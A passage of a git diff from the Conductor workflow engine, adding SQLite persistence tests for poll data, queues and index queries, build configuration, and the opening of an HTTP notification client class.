pollData.getQueueName()); + assertNull(pollData.getDomain()); + assertEquals("dummy-worker-id", pollData.getWorkerId()); + } + + @Test + public void getPollDataByTaskTest() { + pollDataDAO.updateLastPollData("dummy-task1", "domain1", "dummy-worker-id1"); + pollDataDAO.updateLastPollData("dummy-task1", "domain2", "dummy-worker-id2"); + pollDataDAO.updateLastPollData("dummy-task1", null, "dummy-worker-id3"); + pollDataDAO.updateLastPollData("dummy-task2", "domain2", "dummy-worker-id4"); + + List pollData = pollDataDAO.getPollData("dummy-task1"); + assertEquals("Wrong number of records returned", 3, pollData.size()); + + List queueNames = + pollData.stream().map(x -> x.getQueueName()).collect(Collectors.toList()); + assertEquals(3, Collections.frequency(queueNames, "dummy-task1")); + + List domains = + pollData.stream().map(x -> x.getDomain()).collect(Collectors.toList()); + assertTrue(domains.contains("domain1")); + assertTrue(domains.contains("domain2")); + assertTrue(domains.contains(null)); + + List workerIds = + pollData.stream().map(x -> x.getWorkerId()).collect(Collectors.toList()); + assertTrue(workerIds.contains("dummy-worker-id1")); + assertTrue(workerIds.contains("dummy-worker-id2")); + assertTrue(workerIds.contains("dummy-worker-id3")); + } + + @Test + public void getAllPollDataTest() { + pollDataDAO.updateLastPollData("dummy-task1", "domain1", "dummy-worker-id1"); + pollDataDAO.updateLastPollData("dummy-task1", "domain2", "dummy-worker-id2"); + pollDataDAO.updateLastPollData("dummy-task1", null, "dummy-worker-id3"); + pollDataDAO.updateLastPollData("dummy-task2", "domain2", "dummy-worker-id4"); + + List pollData = pollDataDAO.getAllPollData(); + assertEquals("Wrong number of records returned", 4, pollData.size()); + + List queueNames = + pollData.stream().map(x -> x.getQueueName()).collect(Collectors.toList()); + assertEquals(3, Collections.frequency(queueNames, "dummy-task1")); + assertEquals(1, Collections.frequency(queueNames, "dummy-task2")); + + List domains = + pollData.stream().map(x -> x.getDomain()).collect(Collectors.toList()); + assertEquals(1, Collections.frequency(domains, "domain1")); + assertEquals(2, Collections.frequency(domains, "domain2")); + assertEquals(1, Collections.frequency(domains, null)); + + List workerIds = + pollData.stream().map(x -> x.getWorkerId()).collect(Collectors.toList()); + assertTrue(workerIds.contains("dummy-worker-id1")); + assertTrue(workerIds.contains("dummy-worker-id2")); + assertTrue(workerIds.contains("dummy-worker-id3")); + assertTrue(workerIds.contains("dummy-worker-id4")); + } +} diff --git a/sqlite-persistence/src/test/java/com/netflix/conductor/sqlite/dao/SqliteQueueDAOTest.java b/sqlite-persistence/src/test/java/com/netflix/conductor/sqlite/dao/SqliteQueueDAOTest.java new file mode 100644 index 0000000..12e13d7 --- /dev/null +++ b/sqlite-persistence/src/test/java/com/netflix/conductor/sqlite/dao/SqliteQueueDAOTest.java @@ -0,0 +1,505 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqlite.dao; + +import java.sql.Connection; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Map; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; + +import javax.sql.DataSource; + +import org.flywaydb.core.Flyway; +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.TestName; +import org.junit.runner.RunWith; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.autoconfigure.flyway.FlywayAutoConfiguration; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.sqlite.config.SqliteConfiguration; +import com.netflix.conductor.sqlite.util.Query; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.collect.ImmutableList; + +import static org.awaitility.Awaitility.await; +import static org.junit.Assert.*; +import static org.junit.Assert.assertNotNull; + +@ContextConfiguration( + classes = { + TestObjectMapperConfiguration.class, + SqliteConfiguration.class, + FlywayAutoConfiguration.class + }) +@RunWith(SpringRunner.class) +@SpringBootTest(properties = "spring.flyway.clean-disabled=false") +public class SqliteQueueDAOTest { + + private static final Logger LOGGER = LoggerFactory.getLogger(SqliteQueueDAOTest.class); + + @Autowired private SqliteQueueDAO queueDAO; + + @Qualifier("dataSource") + @Autowired + private DataSource dataSource; + + @Autowired private ObjectMapper objectMapper; + + @Rule public TestName name = new TestName(); + + @Autowired Flyway flyway; + + @Before + public void before() { + try (Connection conn = dataSource.getConnection()) { + conn.setAutoCommit(true); + String[] stmts = new String[] {"delete from queue;", "delete from queue_message;"}; + for (String stmt : stmts) { + conn.prepareStatement(stmt).executeUpdate(); + } + } catch (Exception e) { + e.printStackTrace(); + throw new RuntimeException(e); + } + } + + @Test + public void complexQueueTest() { + String queueName = "TestQueue"; + long offsetTimeInSecond = 0; + + for (int i = 0; i < 10; i++) { + String messageId = "msg" + i; + queueDAO.push(queueName, messageId, offsetTimeInSecond); + } + int size = queueDAO.getSize(queueName); + assertEquals(10, size); + Map details = queueDAO.queuesDetail(); + assertEquals(1, details.size()); + assertEquals(10L, details.get(queueName).longValue()); + + for (int i = 0; i < 10; i++) { + String messageId = "msg" + i; + queueDAO.pushIfNotExists(queueName, messageId, offsetTimeInSecond); + } + + List popped = queueDAO.pop(queueName, 10, 100); + assertNotNull(popped); + assertEquals(10, popped.size()); + + Map>> verbose = queueDAO.queuesDetailVerbose(); + assertEquals(1, verbose.size()); + long shardSize = verbose.get(queueName).get("a").get("size"); + long unackedSize = verbose.get(queueName).get("a").get("uacked"); + assertEquals(0, shardSize); + assertEquals(10, unackedSize); + + popped.forEach(messageId -> queueDAO.ack(queueName, messageId)); + + verbose = queueDAO.queuesDetailVerbose(); + assertEquals(1, verbose.size()); + shardSize = verbose.get(queueName).get("a").get("size"); + unackedSize = verbose.get(queueName).get("a").get("uacked"); + assertEquals(0, shardSize); + assertEquals(0, unackedSize); + + popped = queueDAO.pop(queueName, 10, 100); + assertNotNull(popped); + assertEquals(0, popped.size()); + + for (int i = 0; i < 10; i++) { + String messageId = "msg" + i; + queueDAO.pushIfNotExists(queueName, messageId, offsetTimeInSecond); + } + size = queueDAO.getSize(queueName); + assertEquals(10, size); + + for (int i = 0; i < 10; i++) { + String messageId = "msg" + i; + assertTrue(queueDAO.containsMessage(queueName, messageId)); + queueDAO.remove(queueName, messageId); + } + + size = queueDAO.getSize(queueName); + assertEquals(0, size); + + for (int i = 0; i < 10; i++) { + String messageId = "msg" + i; + queueDAO.pushIfNotExists(queueName, messageId, offsetTimeInSecond); + } + queueDAO.flush(queueName); + size = queueDAO.getSize(queueName); + assertEquals(0, size); + } + + /** + * Test fix for https://github.com/Netflix/conductor/issues/399 + * + * @since 1.8.2-rc5 + */ + @Test + public void pollMessagesTest() { + final List messages = new ArrayList<>(); + final String queueName = "issue399_testQueue"; + final int totalSize = 10; + + for (int i = 0; i < totalSize; i++) { + String payload = "{\"id\": " + i + ", \"msg\":\"test " + i + "\"}"; + Message m = new Message("testmsg-" + i, payload, ""); + if (i % 2 == 0) { + // Set priority on message with pair id + m.setPriority(99 - i); + } + messages.add(m); + } + + // Populate the queue with our test message batch + queueDAO.push(queueName, ImmutableList.copyOf(messages)); + + // Assert that all messages were persisted and no extras are in there + assertEquals("Queue size mismatch", totalSize, queueDAO.getSize(queueName)); + + List zeroPoll = queueDAO.pollMessages(queueName, 0, 10_000); + assertTrue("Zero poll should be empty", zeroPoll.isEmpty()); + + final int firstPollSize = 3; + List firstPoll = queueDAO.pollMessages(queueName, firstPollSize, 10_000); + assertNotNull("First poll was null", firstPoll); + assertFalse("First poll was empty", firstPoll.isEmpty()); + assertEquals("First poll size mismatch", firstPollSize, firstPoll.size()); + + final int secondPollSize = 4; + List secondPoll = queueDAO.pollMessages(queueName, secondPollSize, 10_000); + assertNotNull("Second poll was null", secondPoll); + assertFalse("Second poll was empty", secondPoll.isEmpty()); + assertEquals("Second poll size mismatch", secondPollSize, secondPoll.size()); + + // Assert that the total queue size hasn't changed + assertEquals( + "Total queue size should have remained the same", + totalSize, + queueDAO.getSize(queueName)); + + // Assert that our un-popped messages match our expected size + final long expectedSize = totalSize - firstPollSize - secondPollSize; + try (Connection c = dataSource.getConnection()) { + String UNPOPPED = + "SELECT COUNT(*) FROM queue_message WHERE queue_name = ? AND popped = false"; + try (Query q = new Query(objectMapper, c, UNPOPPED)) { + long count = q.addParameter(queueName).executeCount(); + assertEquals("Remaining queue size mismatch", expectedSize, count); + } + } catch (Exception ex) { + fail(ex.getMessage()); + } + } + + /** Test fix for https://github.com/Netflix/conductor/issues/1892 */ + @Test + public void containsMessageTest() { + String queueName = "TestQueue"; + long offsetTimeInSecond = 0; + + for (int i = 0; i < 10; i++) { + String messageId = "msg" + i; + queueDAO.push(queueName, messageId, offsetTimeInSecond); + } + int size = queueDAO.getSize(queueName); + assertEquals(10, size); + + for (int i = 0; i < 10; i++) { + String messageId = "msg" + i; + assertTrue(queueDAO.containsMessage(queueName, messageId)); + queueDAO.remove(queueName, messageId); + } + for (int i = 0; i < 10; i++) { + String messageId = "msg" + i; + assertFalse(queueDAO.containsMessage(queueName, messageId)); + } + } + + /** + * Test fix for https://github.com/Netflix/conductor/issues/448 + * + * @since 1.8.2-rc5 + */ + @Test + public void pollDeferredMessagesTest() { + final List messages = new ArrayList<>(); + final String queueName = "issue448_testQueue"; + final int totalSize = 10; + + for (int i = 0; i < totalSize; i++) { + int offset = 0; + if (i < 5) { + offset = 0; + } else if (i == 6 || i == 7) { + // Purposefully skipping id:5 to test out of order deliveries + // Set id:6 and id:7 for a 2s delay to be picked up in the second polling batch + offset = 5; + } else { + // Set all other queue messages to have enough of a delay that they won't + // accidentally + // be picked up. + offset = 10_000 + i; + } + + String payload = "{\"id\": " + i + ",\"offset_time_seconds\":" + offset + "}"; + Message m = new Message("testmsg-" + i, payload, ""); + messages.add(m); + queueDAO.push(queueName, "testmsg-" + i, offset); + } + + // Assert that all messages were persisted and no extras are in there + assertEquals("Queue size mismatch", totalSize, queueDAO.getSize(queueName)); + + final int firstPollSize = 4; + List firstPoll = queueDAO.pollMessages(queueName, firstPollSize, 100); + assertNotNull("First poll was null", firstPoll); + assertFalse("First poll was empty", firstPoll.isEmpty()); + assertEquals("First poll size mismatch", firstPollSize, firstPoll.size()); + + List firstPollMessageIds = + messages.stream() + .map(Message::getId) + .collect(Collectors.toList()) + .subList(0, firstPollSize + 1); + + for (int i = 0; i < firstPollSize; i++) { + String actual = firstPoll.get(i).getId(); + assertTrue("Unexpected Id: " + actual, firstPollMessageIds.contains(actual)); + } + + final int secondPollSize = 3; + + // Wait for delayed messages to become available for polling + final String COUNT_READY = + "SELECT COUNT(*) FROM queue_message WHERE queue_name = ? AND popped = false AND deliver_on <= strftime('%Y-%m-%d %H:%M:%f', 'now')"; + await().atMost(10, TimeUnit.SECONDS) + .pollInterval(500, TimeUnit.MILLISECONDS) + .until( + () -> { + try (Connection c = dataSource.getConnection()) { + try (Query q = new Query(objectMapper, c, COUNT_READY)) { + return q.addParameter(queueName).executeCount() + >= secondPollSize; + } + } + }); + + // Poll for many more messages than expected + List secondPoll = queueDAO.pollMessages(queueName, secondPollSize + 10, 100); + assertNotNull("Second poll was null", secondPoll); + assertFalse("Second poll was empty", secondPoll.isEmpty()); + assertEquals("Second poll size mismatch", secondPollSize, secondPoll.size()); + + List expectedIds = Arrays.asList("testmsg-4", "testmsg-6", "testmsg-7"); + for (int i = 0; i < secondPollSize; i++) { + String actual = secondPoll.get(i).getId(); + assertTrue("Unexpected Id: " + actual, expectedIds.contains(actual)); + } + + // Assert that the total queue size hasn't changed + assertEquals( + "Total queue size should have remained the same", + totalSize, + queueDAO.getSize(queueName)); + + // Assert that our un-popped messages match our expected size + final long expectedSize = totalSize - firstPollSize - secondPollSize; + try (Connection c = dataSource.getConnection()) { + String UNPOPPED = + "SELECT COUNT(*) FROM queue_message WHERE queue_name = ? AND popped = false"; + try (Query q = new Query(objectMapper, c, UNPOPPED)) { + long count = q.addParameter(queueName).executeCount(); + assertEquals("Remaining queue size mismatch", expectedSize, count); + } + } catch (Exception ex) { + fail(ex.getMessage()); + } + } + + @Test + public void setUnackTimeoutIfShorterShortensDueTime() { + String queueName = "setUnackIfShorter_shorten"; + String messageId = "msg-shorten"; + + // Push with a 1-hour delay so it is not immediately poppable + queueDAO.push(queueName, messageId, 3600L); + assertEquals(0, queueDAO.pop(queueName, 1, 100).size()); + + // Shorten delivery to now (0 s) — should succeed and return true + boolean shortened = queueDAO.setUnackTimeoutIfShorter(queueName, messageId, 0L); + assertTrue( + "setUnackTimeoutIfShorter should return true when it actually shortens", shortened); + + // Message must now be immediately poppable + List popped = queueDAO.pop(queueName, 1, 100); + assertEquals(1, popped.size()); + assertEquals(messageId, popped.get(0)); + } + + @Test + public void setUnackTimeoutIfShorterDoesNotExtend() { + String queueName = "setUnackIfShorter_noextend"; + String messageId = "msg-noextend"; + + // Push with offset 0 so it is immediately available + queueDAO.push(queueName, messageId, 0L); + + // Try to push deliver_on far into the future — must be rejected + boolean extended = queueDAO.setUnackTimeoutIfShorter(queueName, messageId, 3_600_000L); + assertFalse( + "setUnackTimeoutIfShorter must not extend an already-closer delivery time", + extended); + + // Message must still be immediately poppable + List popped = queueDAO.pop(queueName, 1, 100); + assertEquals(1, popped.size()); + assertEquals(messageId, popped.get(0)); + } + + @Test + public void setUnackTimeoutIfShorterReturnsFalseForNonExistent() { + String queueName = "setUnackIfShorter_nonexistent"; + boolean updated = queueDAO.setUnackTimeoutIfShorter(queueName, "no-such-message", 0L); + assertFalse( + "setUnackTimeoutIfShorter must return false for a non-existent message", updated); + } + + @Test + public void setUnackTimeoutIfShorterReturnsFalseWhenEqualTimeout() { + String queueName = "setUnackIfShorter_equal"; + String messageId = "msg-equal"; + queueDAO.push(queueName, messageId, 0L); + + boolean result = queueDAO.setUnackTimeoutIfShorter(queueName, messageId, 0L); + assertFalse("Equal timeout must not update deliver_on — returns false", result); + + List popped = queueDAO.pop(queueName, 1, 100); + assertEquals(1, popped.size()); + assertEquals(messageId, popped.get(0)); + } + + @Test + public void setUnackTimeoutIfShorterRejectsExtensionThenAcceptsShortening() { + String queueName = "setUnackIfShorter_reject_then_accept"; + String messageId = "msg-reject-accept"; + queueDAO.push(queueName, messageId, 3600L); + + boolean extended = queueDAO.setUnackTimeoutIfShorter(queueName, messageId, 7_200_000L); + assertFalse("Extending must return false", extended); + + boolean shortened = queueDAO.setUnackTimeoutIfShorter(queueName, messageId, 0L); + assertTrue("Shortening to now must return true", shortened); + + List popped = queueDAO.pop(queueName, 1, 100); + assertEquals(1, popped.size()); + assertEquals(messageId, popped.get(0)); + } + + // @Test + public void processUnacksTest() { + processUnacks( + () -> { + // Process unacks + queueDAO.processUnacks("process_unacks_test"); + }, + "process_unacks_test"); + } + + // @Test + public void processAllUnacksTest() { + processUnacks( + () -> { + // Process all unacks + queueDAO.processAllUnacks(); + }, + "process_unacks_test"); + } + + private void processUnacks(Runnable unack, String queueName) { + // Count of messages in the queue(s) + final int count = 10; + // Number of messages to process acks for + final int unackedCount = 4; + // A secondary queue to make sure we don't accidentally process other queues + final String otherQueueName = "process_unacks_test_other_queue"; + + // Create testing queue with some messages (but not all) that will be popped/acked. + for (int i = 0; i < count; i++) { + int offset = 0; + if (i >= unackedCount) { + offset = 1_000_000; + } + + queueDAO.push(queueName, "unack-" + i, offset); + } + + // Create a second queue to make sure that unacks don't occur for it + for (int i = 0; i < count; i++) { + queueDAO.push(otherQueueName, "other-" + i, 0); + } + + // Poll for first batch of messages (should be equal to unackedCount) + List polled = queueDAO.pollMessages(queueName, 100, 10_000); + assertNotNull(polled); + assertFalse(polled.isEmpty()); + assertEquals(unackedCount, polled.size()); + + // Poll messages from the other queue so we know they don't get unacked later + queueDAO.pollMessages(otherQueueName, 100, 10_000); + + // Ack one of the polled messages + assertTrue(queueDAO.ack(queueName, "unack-1")); + + // Should have one less un-acked popped message in the queue + Long uacked = queueDAO.queuesDetailVerbose().get(queueName).get("a").get("uacked"); + assertNotNull(uacked); + assertEquals(uacked.longValue(), unackedCount - 1); + + unack.run(); + + // Check uacks for both queues after processing + Map>> details = queueDAO.queuesDetailVerbose(); + uacked = details.get(queueName).get("a").get("uacked"); + assertNotNull(uacked); + assertEquals( + "The messages that were polled should be unacked still", + uacked.longValue(), + unackedCount - 1); + + Long otherUacked = details.get(otherQueueName).get("a").get("uacked"); + assertNotNull(otherUacked); + assertEquals( + "Other queue should have all unacked messages", otherUacked.longValue(), count); + + Long size = queueDAO.queuesDetail().get(queueName); + assertNotNull(size); + assertEquals(size.longValue(), count - unackedCount); + } +} diff --git a/sqlite-persistence/src/test/java/com/netflix/conductor/sqlite/util/SqliteIndexQueryBuilderTest.java b/sqlite-persistence/src/test/java/com/netflix/conductor/sqlite/util/SqliteIndexQueryBuilderTest.java new file mode 100644 index 0000000..072aa3f --- /dev/null +++ b/sqlite-persistence/src/test/java/com/netflix/conductor/sqlite/util/SqliteIndexQueryBuilderTest.java @@ -0,0 +1,214 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqlite.util; + +import java.sql.SQLException; +import java.util.ArrayList; + +import org.junit.jupiter.api.Test; +import org.mockito.InOrder; +import org.mockito.Mockito; + +import com.netflix.conductor.sqlite.config.SqliteProperties; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.mockito.Mockito.*; + +public class SqliteIndexQueryBuilderTest { + + private SqliteProperties properties = new SqliteProperties(); + + @Test + void shouldGenerateQueryForEmptyString() throws SQLException { + SqliteIndexQueryBuilder builder = + new SqliteIndexQueryBuilder( + "table_name", "", "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getQuery(); + assertEquals("SELECT json_data FROM table_name LIMIT ? OFFSET ?", generatedQuery); + } + + @Test + void shouldGenerateQueryForExactMatch() throws SQLException { + String inputQuery = "workflowId=\"abc123\""; + SqliteIndexQueryBuilder builder = + new SqliteIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getQuery(); + assertEquals( + "SELECT json_data FROM table_name WHERE workflow_id = ? LIMIT ? OFFSET ?", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + builder.addPagingParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter("abc123"); + inOrder.verify(mockQuery).addParameter(15); + inOrder.verify(mockQuery).addParameter(0); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldGenerateQueryWithWildcardPrefix() throws SQLException { + String inputQuery = "workflowType=abc*"; + SqliteIndexQueryBuilder builder = + new SqliteIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getQuery(); + assertEquals( + "SELECT json_data FROM table_name WHERE lower(workflow_type) LIKE lower(?) LIMIT ? OFFSET ?", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + builder.addPagingParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter("abc%"); + inOrder.verify(mockQuery).addParameter(15); + inOrder.verify(mockQuery).addParameter(0); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldGenerateQueryWithWildcardContains() throws SQLException { + String inputQuery = "correlationId=\"*order*\""; + SqliteIndexQueryBuilder builder = + new SqliteIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getQuery(); + assertEquals( + "SELECT json_data FROM table_name WHERE lower(correlation_id) LIKE lower(?) LIMIT ? OFFSET ?", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + builder.addPagingParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter("%order%"); + inOrder.verify(mockQuery).addParameter(15); + inOrder.verify(mockQuery).addParameter(0); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldGenerateExactMatchQueryWhenNoWildcard() throws SQLException { + String inputQuery = "workflowType=abc"; + SqliteIndexQueryBuilder builder = + new SqliteIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getQuery(); + assertEquals( + "SELECT json_data FROM table_name WHERE workflow_type = ? LIMIT ? OFFSET ?", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + builder.addPagingParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter("abc"); + inOrder.verify(mockQuery).addParameter(15); + inOrder.verify(mockQuery).addParameter(0); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldNotExpandWildcardInINClause() throws SQLException { + String inputQuery = "status IN (COMP*,RUNNING)"; + SqliteIndexQueryBuilder builder = + new SqliteIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getQuery(); + assertEquals( + "SELECT json_data FROM table_name WHERE status IN (?,?) LIMIT ? OFFSET ?", + generatedQuery); + } + + @Test + void shouldGenerateQueryForClassifier() throws SQLException { + String inputQuery = "classifier=\"agent\""; + SqliteIndexQueryBuilder builder = + new SqliteIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getQuery(); + assertEquals( + "SELECT json_data FROM table_name WHERE classifier = ? LIMIT ? OFFSET ?", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + builder.addPagingParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter("agent"); + inOrder.verify(mockQuery).addParameter(15); + inOrder.verify(mockQuery).addParameter(0); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldMatchLegacyNullRowsForUntaggedClassifier() throws SQLException { + // Rows indexed before the classifier column existed are untagged plain workflows; + // filtering for the "workflow" token must also match those NULL rows. + String inputQuery = "classifier=\"workflow\""; + SqliteIndexQueryBuilder builder = + new SqliteIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getQuery(); + assertEquals( + "SELECT json_data FROM table_name WHERE (classifier = ? OR classifier IS NULL) LIMIT ? OFFSET ?", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + builder.addPagingParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter("workflow"); + inOrder.verify(mockQuery).addParameter(15); + inOrder.verify(mockQuery).addParameter(0); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldMatchLegacyNullRowsForUntaggedClassifierInClause() throws SQLException { + String inputQuery = "classifier IN (agent,workflow)"; + SqliteIndexQueryBuilder builder = + new SqliteIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getQuery(); + assertEquals( + "SELECT json_data FROM table_name WHERE (classifier IN (?,?) OR classifier IS NULL) LIMIT ? OFFSET ?", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + builder.addPagingParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter("agent"); + inOrder.verify(mockQuery).addParameter("workflow"); + inOrder.verify(mockQuery).addParameter(15); + inOrder.verify(mockQuery).addParameter(0); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldGenerateQueryForParentWorkflowId() throws SQLException { + String inputQuery = "parentWorkflowId=\"\""; + SqliteIndexQueryBuilder builder = + new SqliteIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getQuery(); + assertEquals( + "SELECT json_data FROM table_name WHERE parent_workflow_id = ? LIMIT ? OFFSET ?", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + builder.addPagingParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter(""); + inOrder.verify(mockQuery).addParameter(15); + inOrder.verify(mockQuery).addParameter(0); + verifyNoMoreInteractions(mockQuery); + } +} diff --git a/sqlite-persistence/src/test/resources/application.properties b/sqlite-persistence/src/test/resources/application.properties new file mode 100644 index 0000000..ef89667 --- /dev/null +++ b/sqlite-persistence/src/test/resources/application.properties @@ -0,0 +1,9 @@ +spring.datasource.driver-class-name=org.sqlite.JDBC +spring.datasource.url=jdbc:sqlite:conductorosstest.db +spring.datasource.username= +spring.datasource.password= +# Hibernate SQLite Dialect +spring.jpa.database-platform=org.hibernate.community.dialect.SQLiteDialect + +# db type +conductor.db.type=sqlite \ No newline at end of file diff --git a/task-status-listener/build.gradle b/task-status-listener/build.gradle new file mode 100644 index 0000000..871c226 --- /dev/null +++ b/task-status-listener/build.gradle @@ -0,0 +1,24 @@ +plugins { + id 'groovy' +} +dependencies { + + implementation project(':conductor-common') + implementation project(':conductor-core') + implementation project(':conductor-redis-persistence') + implementation project(':conductor-annotations') + + implementation group: 'javax.inject', name: 'javax.inject', version: '1' + implementation "org.apache.commons:commons-lang3:" + implementation group: 'org.apache.httpcomponents', name: 'httpclient', version: '4.5.14' + + compileOnly 'org.springframework.boot:spring-boot-starter' + compileOnly 'org.springframework.boot:spring-boot-starter-web' + + implementation "org.springframework.boot:spring-boot-starter-log4j2" + testImplementation project(':conductor-test-util').sourceSets.test.output + + //In memory + implementation "org.rarefiedredis.redis:redis-java:${revRarefiedRedis}" + +} \ No newline at end of file diff --git a/task-status-listener/src/main/java/com/netflix/conductor/contribs/listener/RestClientManager.java b/task-status-listener/src/main/java/com/netflix/conductor/contribs/listener/RestClientManager.java new file mode 100644 index 0000000..ba39b9e --- /dev/null +++ b/task-status-listener/src/main/java/com/netflix/conductor/contribs/listener/RestClientManager.java @@ -0,0 +1,254 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.listener; + +import java.io.IOException; +import java.io.InterruptedIOException; +import java.net.SocketException; +import java.util.HashMap; +import java.util.Map; + +import javax.net.ssl.SSLException; + +import org.apache.commons.lang3.StringUtils; +import org.apache.commons.lang3.exception.ExceptionUtils; +import org.apache.http.HttpResponse; +import org.apache.http.HttpStatus; +import org.apache.http.client.ClientProtocolException; +import org.apache.http.client.HttpRequestRetryHandler; +import org.apache.http.client.ServiceUnavailableRetryStrategy; +import org.apache.http.client.config.RequestConfig; +import org.apache.http.client.methods.CloseableHttpResponse; +import org.apache.http.client.methods.HttpPost; +import org.apache.http.entity.StringEntity; +import org.apache.http.impl.client.CloseableHttpClient; +import org.apache.http.impl.client.HttpClients; +import org.apache.http.impl.conn.PoolingHttpClientConnectionManager; +import org.apache.http.protocol.HttpContext; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class RestClientManager { + private static final Logger logger = LoggerFactory.getLogger(RestClientManager.class); + private StatusNotifierNotificationProperties config; + private CloseableHttpClient client; + private String notifType; + private String notifId; + + public enum NotificationType { + TASK, + WORKFLOW + }; + + public RestClientManager(StatusNotifierNotificationProperties config) { + logger.info("created RestClientManager" + System.currentTimeMillis()); + this.config = config; + this.client = prepareClient(); + } + + private PoolingHttpClientConnectionManager prepareConnManager() { + PoolingHttpClientConnectionManager connManager = new PoolingHttpClientConnectionManager(); + connManager.setMaxTotal(config.getConnectionPoolMaxRequest()); + connManager.setDefaultMaxPerRoute(config.getConnectionPoolMaxRequestPerRoute()); + return connManager; + } + + private RequestConfig prepareRequestConfig() { + return RequestConfig.custom() + // The time to establish the connection with the remote host + // [http.connection.timeout]. + // Responsible for java.net.SocketTimeoutException: connect timed out. + .setConnectTimeout(config.getRequestTimeOutMsConnect()) + + // The time waiting for data after the connection was established + // [http.socket.timeout]. The maximum time + // of inactivity between two data packets. Responsible for + // java.net.SocketTimeoutException: Read timed out. + .setSocketTimeout(config.getRequestTimeoutMsread()) + + // The time to wait for a connection from the connection manager/pool + // [http.connection-manager.timeout]. + // Responsible for org.apache.http.conn.ConnectionPoolTimeoutException. + .setConnectionRequestTimeout(config.getRequestTimeoutMsConnMgr()) + .build(); + } + + /** + * Custom HttpRequestRetryHandler implementation to customize retries for different IOException + */ + private class CustomHttpRequestRetryHandler implements HttpRequestRetryHandler { + int maxRetriesCount = config.getRequestRetryCount(); + int retryIntervalInMilisec = config.getRequestRetryCountIntervalMs(); + + /** + * Triggered only in case of 